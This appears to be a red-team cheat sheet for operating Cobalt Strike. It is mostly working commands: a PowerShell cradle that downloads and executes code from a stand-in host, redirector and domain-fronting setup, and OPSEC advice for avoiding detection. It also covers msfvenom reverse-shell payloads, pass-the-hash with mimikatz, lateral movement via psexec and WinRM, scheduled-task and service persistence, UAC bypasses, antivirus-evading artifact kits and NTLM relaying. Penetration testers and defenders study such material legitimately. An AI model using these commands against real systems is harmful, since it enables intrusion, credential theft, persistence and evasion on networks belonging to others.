Cobalt Strike

Cobalt Strike is threat emulation software. Red teams and penetration testers use Cobalt Strike to demonstrate the risk of a breach and evaluate mature security programs. Cobalt Strike exploits network vulnerabilities, launches spear phishing campaigns, hosts web drive-by attacks, and generates malware infected files from a powerful graphical user interface that encourages collaboration and reports all activity.

$ sudo apt-get update
$ sudo apt-get install openjdk-11-jdk
$ sudo apt install proxychains socat
$ sudo update-java-alternatives -s java-1.11.0-openjdk-amd64
$ sudo ./teamserver 10.10.10.10 "password" [malleable C2 profile]
$ ./cobaltstrike
$ powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://campaigns.example.com/download/dnsback'))" 

Summary

Infrastructure

Redirectors

sudo apt install socat
socat TCP4-LISTEN:80,fork TCP4:[TEAM SERVER]:80

Domain Fronting

  • New Listener > HTTP Host Header
  • Choose a domain in “Finance & Healthcare” sector

OpSec

Don’t

  • Use default self-signed HTTPS certificate
  • Use default port (50050)
  • Use 0.0.0.0 DNS response
  • Metasploit compatibility, ask for a payload : wget -U "Internet Explorer" http://127.0.0.1/vl6D

Do

  • Use a redirector (Apache, CDN, …)
  • Firewall to only accept HTTP/S from the redirectors
  • Firewall 50050 and access via SSH tunnel
  • Edit default HTTP 404 page and Content type: text/plain
  • No staging set hosts_stage to false in Malleable C2
  • Use Malleable Profile to taylor your attack to specific actors

Customer ID

The Customer ID is a 4-byte number associated with a Cobalt Strike license key. Cobalt Strike 3.9 and later embed this information into the payload stagers and stages generated by Cobalt Strike.

  • The Customer ID value is the last 4-bytes of a Cobalt Strike payload stager in Cobalt Strike 3.9 and later.
  • The trial has a Customer ID value of 0.
  • Cobalt Strike does not use the Customer ID value in its network traffic or other parts of the tool

Payloads

DNS Beacon

  • Edit the Zone File for the domain
  • Create an A record for Cobalt Strike system
  • Create an NS record that points to FQDN of your Cobalt Strike system

Your Cobalt Strike team server system must be authoritative for the domains you specify. Create a DNS A record and point it to your Cobalt Strike team server. Use DNS NS records to delegate several domains or sub-domains to your Cobalt Strike team server’s A record.

  • nslookup jibberish.beacon polling.campaigns.domain.com
  • nslookup jibberish.beacon campaigns.domain.com

Example of DNS on Digital Ocean:

NS  example.com                     directs to 10.10.10.10.            86400
NS  polling.campaigns.example.com   directs to campaigns.example.com.	3600
A	campaigns.example.com           directs to 10.10.10.10	            3600 
systemctl disable systemd-resolved
systemctl stop systemd-resolved
rm /etc/resolv.conf
echo "nameserver 8.8.8.8" >  /etc/resolv.conf
echo "nameserver 8.8.4.4" >>  /etc/resolv.conf

Configuration:

  1. host: campaigns.domain.com
  2. beacon: polling.campaigns.domain.com
  3. Interact with a beacon, and sleep 0

SMB Beacon

link [host] [pipename]
connect [host] [port]
unlink [host] [PID]
jump [exec] [host] [pipe]

SMB Beacon uses Named Pipes. You might encounter these error code while running it.

Error Code Meaning Description
2 File Not Found There is no beacon for you to link to
5 Access is denied Invalid credentials or you don’t have permission
53 Bad Netpath You have no trust relationship with the target system. It may or may not be a beacon there.

SSH Beacon

# deploy a beacon
beacon> help ssh
Use: ssh [target:port] [user] [pass]
Spawn an SSH client and attempt to login to the specified target

beacon> help ssh-key
Use: ssh [target:port] [user] [/path/to/key.pem]
Spawn an SSH client and attempt to login to the specified target

# beacon's commands
upload                    Upload a file
download                  Download a file
socks                     Start SOCKS4a server to relay traffic
sudo                      Run a command via sudo
rportfwd                  Setup a reverse port forward
shell                     Execute a command via the shell

Metasploit compatibility

  • Payload: windows/meterpreter/reverse_http or windows/meterpreter/reverse_https
  • Set LHOST and LPORT to the beacon
  • Set DisablePayloadHandler to True
  • Set PrependMigrate to True
  • exploit -j

Custom Payloads

https://ired.team/offensive-security/code-execution/using-msbuild-to-execute-shellcode-in-c

* Attacks > Packages > Payload Generator 
* Attacks > Packages > Scripted Web Delivery (S)
$ python2 ./shellcode_encoder.py -cpp -cs -py payload.bin MySecretPassword xor
$ C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe C:\Windows\Temp\dns_raw_stageless_x64.xml
$ %windir%\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe \\10.10.10.10\Shared\dns_raw_stageless_x86.xml

Malleable C2

List of Malleable Profiles hosted on Github

  • Cobalt Strike - Malleable C2 Profiles https://github.com/xx0hcd/Malleable-C2-Profiles
  • Cobalt Strike Malleable C2 Design and Reference Guide https://github.com/threatexpress/malleable-c2
  • Malleable-C2-Profiles https://github.com/rsmudge/Malleable-C2-Profiles
  • SourcePoint is a C2 profile generator https://github.com/Tylous/SourcePoint

Example of syntax

set useragent "SOME AGENT"; # GOOD
set useragent 'SOME AGENT'; # BAD
prepend "This is an example;";

# Escape Double quotes
append "here is \"some\" stuff";
# Escape Backslashes
append "more \\ stuff";
# Some special characters do not need escaping
prepend "!@#$%^&*()";

Check a profile with ./c2lint.

  • A result of 0 is returned if c2lint completes with no errors
  • A result of 1 is returned if c2lint completes with only warnings
  • A result of 2 is returned if c2lint completes with only errors
  • A result of 3 is returned if c2lint completes with both errors and warning

Files

# List the file on the specified directory
beacon > ls <C:\Path>

# Change into the specified working directory
beacon > cd [directory]

# Delete a file\folder
beacon > rm [file\folder]

# File copy
beacon > cp [src] [dest]

# Download a file from the path on the Beacon host
beacon > download [C:\filePath]

# Lists downloads in progress
beacon > downloads

# Cancel a download currently in progress
beacon > cancel [*file*]

# Upload a file from the attacker to the current Beacon host
beacon > upload [/path/to/file]

Powershell and .NET

Powershell commands

# Import a Powershell .ps1 script from the control server and save it in memory in Beacon
beacon > powershell-import [/path/to/script.ps1]

# Setup a local TCP server bound to localhost and download the script imported from above using powershell.exe. Then the specified function and any arguments are executed and output is returned.
beacon > powershell [commandlet][arguments]

# Launch the given function using Unmanaged Powershell, which does not start powershell.exe. The program used is set by spawnto
beacon > powerpick [commandlet] [argument]

# Inject Unmanaged Powershell into a specific process and execute the specified command. This is useful for long-running Powershell jobs
beacon > psinject [pid][arch] [commandlet] [arguments]

.NET remote execution

Run a local .NET executable as a Beacon post-exploitation job.

Require:

  • Binaries compiled with the “Any CPU” configuration.
beacon > execute-assembly [/path/to/script.exe] [arguments]
beacon > execute-assembly /home/audit/Rubeus.exe
[*] Tasked beacon to run .NET program: Rubeus.exe
[+] host called home, sent: 318507 bytes
[+] received output:

   ______        _                      
  (_____ \      | |                     
   _____) )_   _| |__  _____ _   _  ___ 
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v1.4.2 

Lateral Movement

:warning: OPSEC Advice: Use the spawnto command to change the process Beacon will launch for its post-exploitation jobs. The default is rundll32.exe

  • portscan: Performs a portscan on a specific target.
  • runas: A wrapper of runas.exe, using credentials you can run a command as another user.
  • pth: By providing a username and a NTLM hash you can perform a Pass The Hash attack and inject a TGT on the current process. \
    :exclamation: This module needs Administrator privileges.
  • steal_token: Steal a token from a specified process.
  • make_token: By providing credentials you can create an impersonation token into the current process and execute commands from the context of the impersonated user.
  • jump: Provides easy and quick way to move lateraly using winrm or psexec to spawn a new beacon session on a target. \
    :exclamation: The jump module will use the current delegation/impersonation token to authenticate on the remote target. \
    :muscle: We can combine the jump module with the make_token or pth module for a quick “jump” to another target on the network.
  • remote-exec: Execute a command on a remote target using psexec, winrm or wmi. \
    :exclamation: The remote-exec module will use the current delegation/impersonation token to authenticate on the remote target.
  • ssh/ssh-key: Authenticate using ssh with password or private key. Works for both linux and windows hosts.

:warning: All the commands launch powershell.exe

Beacon Remote Exploits
======================
jump [module] [target] [listener] 

    psexec	x86	Use a service to run a Service EXE artifact
    psexec64	x64	Use a service to run a Service EXE artifact
    psexec_psh	x86	Use a service to run a PowerShell one-liner
    winrm	x86	Run a PowerShell script via WinRM
    winrm64	x64	Run a PowerShell script via WinRM

Beacon Remote Execute Methods
=============================
remote-exec [module] [target] [command] 

    Methods                         Description
    -------                         -----------
    psexec                          Remote execute via Service Control Manager
    winrm                           Remote execute via WinRM (PowerShell)
    wmi                             Remote execute via WMI (PowerShell)

Opsec safe Pass-the-Hash:

  1. mimikatz sekurlsa::pth /user:xxx /domain:xxx /ntlm:xxxx /run:"powershell -w hidden"
  2. steal_token PID

Assume Control of Artifact

  • Use link to connect to SMB Beacon
  • Use connect to connect to TCP Beacon

VPN & Pivots

:warning: Covert VPN doesn’t work with W10, and requires Administrator access to deploy.

Use socks 8080 to setup a SOCKS4a proxy server on port 8080 (or any other port you choose). This will setup a SOCKS proxy server to tunnel traffic through Beacon. Beacon’s sleep time adds latency to any traffic you tunnel through it. Use sleep 0 to make Beacon check-in several times a second.

# Start a SOCKS server on the given port on your teamserver, tunneling traffic through the specified Beacon. Set the teamserver/port configuration in /etc/proxychains.conf for easy usage.
beacon > socks [PORT]
beacon > socks [port]
beacon > socks [port] [socks4]
beacon > socks [port] [socks5]
beacon > socks [port] [socks5] [enableNoAuth|disableNoAuth] [user] [password]
beacon > socks [port] [socks5] [enableNoAuth|disableNoAuth] [user] [password] [enableLogging|disableLogging]

# Proxy browser traffic through a specified Internet Explorer process.
beacon > browserpivot [pid] [x86|x64]

# Bind to the specified port on the Beacon host, and forward any incoming connections to the forwarded host and port.
beacon > rportfwd [bind port] [forward host] [forward port]

# spunnel : Spawn an agent and create a reverse port forward tunnel to its controller.    ~=  rportfwd + shspawn.
msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=127.0.0.1 LPORT=4444 -f raw -o /tmp/msf.bin
beacon> spunnel x64 184.105.181.155 4444 C:\Payloads\msf.bin

# spunnel_local: Spawn an agent and create a reverse port forward, tunnelled through your Cobalt Strike client, to its controller
# then you can handle the connect back on your MSF multi handler
beacon> spunnel_local x64 127.0.0.1 4444 C:\Payloads\msf.bin

Kits

  • Cobalt Strike Community Kit - Community Kit is a central repository of extensions written by the user community to extend the capabilities of Cobalt Strike

Elevate Kit

UAC Token Duplication : Fixed in Windows 10 Red Stone 5 (October 2018)

beacon> runasadmin

Beacon Command Elevators
========================

    Exploit                         Description
    -------                         -----------
    ms14-058                        TrackPopupMenu Win32k NULL Pointer Dereference (CVE-2014-4113)
    ms15-051                        Windows ClientCopyImage Win32k Exploit (CVE 2015-1701)
    ms16-016                        mrxdav.sys WebDav Local Privilege Escalation (CVE 2016-0051)
    svc-exe                         Get SYSTEM via an executable run as a service
    uac-schtasks                    Bypass UAC with schtasks.exe (via SilentCleanup)
    uac-token-duplication           Bypass UAC with Token Duplication

Persistence Kit

  • https://github.com/0xthirteen/MoveKit
  • https://github.com/fireeye/SharPersist
      # List persistences
      SharPersist -t schtaskbackdoor -m list
      SharPersist -t startupfolder -m list
      SharPersist -t schtask -m list
    
      # Add a persistence
      SharPersist -t schtaskbackdoor -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Something Cool" -m add
      SharPersist -t schtaskbackdoor -n "Something Cool" -m remove
    
      SharPersist -t service -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Some Service" -m add
      SharPersist -t service -n "Some Service" -m remove
    
      SharPersist -t schtask -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Some Task" -m add
      SharPersist -t schtask -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Some Task" -m add -o hourly
      SharPersist -t schtask -n "Some Task" -m remove
    

Resource Kit

The Resource Kit is Cobalt Strike’s means to change the HTA, PowerShell, Python, VBA, and VBS script templates Cobalt Strike uses in its workflows

Artifact Kit

Cobalt Strike uses the Artifact Kit to generate its executables and DLLs. The Artifact Kit is a source code framework to build executables and DLLs that evade some anti-virus products. The Artifact Kit build script creates a folder with template artifacts for each Artifact Kit technique. To use a technique with Cobalt Strike, go to Cobalt Strike -> Script Manager, and load the artifact.cna script from that technique’s folder.

Artifact Kit (Cobalt Strike 4.0) - https://www.youtube.com/watch?v=6mC21kviwG4 :

  • Download the artifact kit : Go to Help -> Arsenal to download Artifact Kit (requires a licensed version of Cobalt Strike)
  • Install the dependencies : sudo apt-get install mingw-w64
  • Edit the Artifact code
    • Change pipename strings
    • Change VirtualAlloc in patch.c/patch.exe, e.g: HeapAlloc
    • Change Import
  • Build the Artifact
  • Cobalt Strike -> Script Manager > Load .cna

Mimikatz Kit

  • Download and extract the .tgz from the Arsenal (Note: The version uses the Mimikatz release version naming (i.e., 2.2.0.20210724)
  • Load the mimikatz.cna aggressor script
  • Use mimikatz functions as normal

Sleep Mask Kit

The Sleep Mask Kit is the source code for the sleep mask function that is executed to obfuscate Beacon, in memory, prior to sleeping.

Use the included build.sh or build.bat script to build the Sleep Mask Kit on Kali Linux or Microsoft Windows. The script builds the sleep mask object file for the three types of Beacons (default, SMB, and TCP) on both x86 and x64 architectures in the sleepmask directory. The default type supports HTTP, HTTPS, and DNS Beacons.

Thread Stack Spoofer

An advanced in-memory evasion technique that spoofs Thread Call Stack. This technique allows to bypass thread-based memory examination rules and better hide shellcodes while in-process memory.

Thread Stack Spoofer is now enabled by default in the Artifact Kit, it is possible to disable it via the option artifactkit_stack_spoof in the config file arsenal_kit.config.

Beacon Object Files

A BOF is just a block of position-independent code that receives pointers to some Beacon internal APIs

Example: https://github.com/Cobalt-Strike/bof_template/blob/main/beacon.h

  • Compile
      # To compile this with Visual Studio:
      cl.exe /c /GS- hello.c /Fohello.o
    
      # To compile this with x86 MinGW:
      i686-w64-mingw32-gcc -c hello.c -o hello.o
    
      # To compile this with x64 MinGW:
      x86_64-w64-mingw32-gcc -c hello.c -o hello.o
    
  • Execute: inline-execute /path/to/hello.o

NTLM Relaying via Cobalt Strike

beacon> socks 1080
kali> proxychains python3 /usr/local/bin/ntlmrelayx.py -t smb://<IP_TARGET>
beacon> rportfwd_local 8445 <IP_KALI> 445
beacon> upload C:\Tools\PortBender\WinDivert64.sys
beacon> PortBender redirect 445 8445

References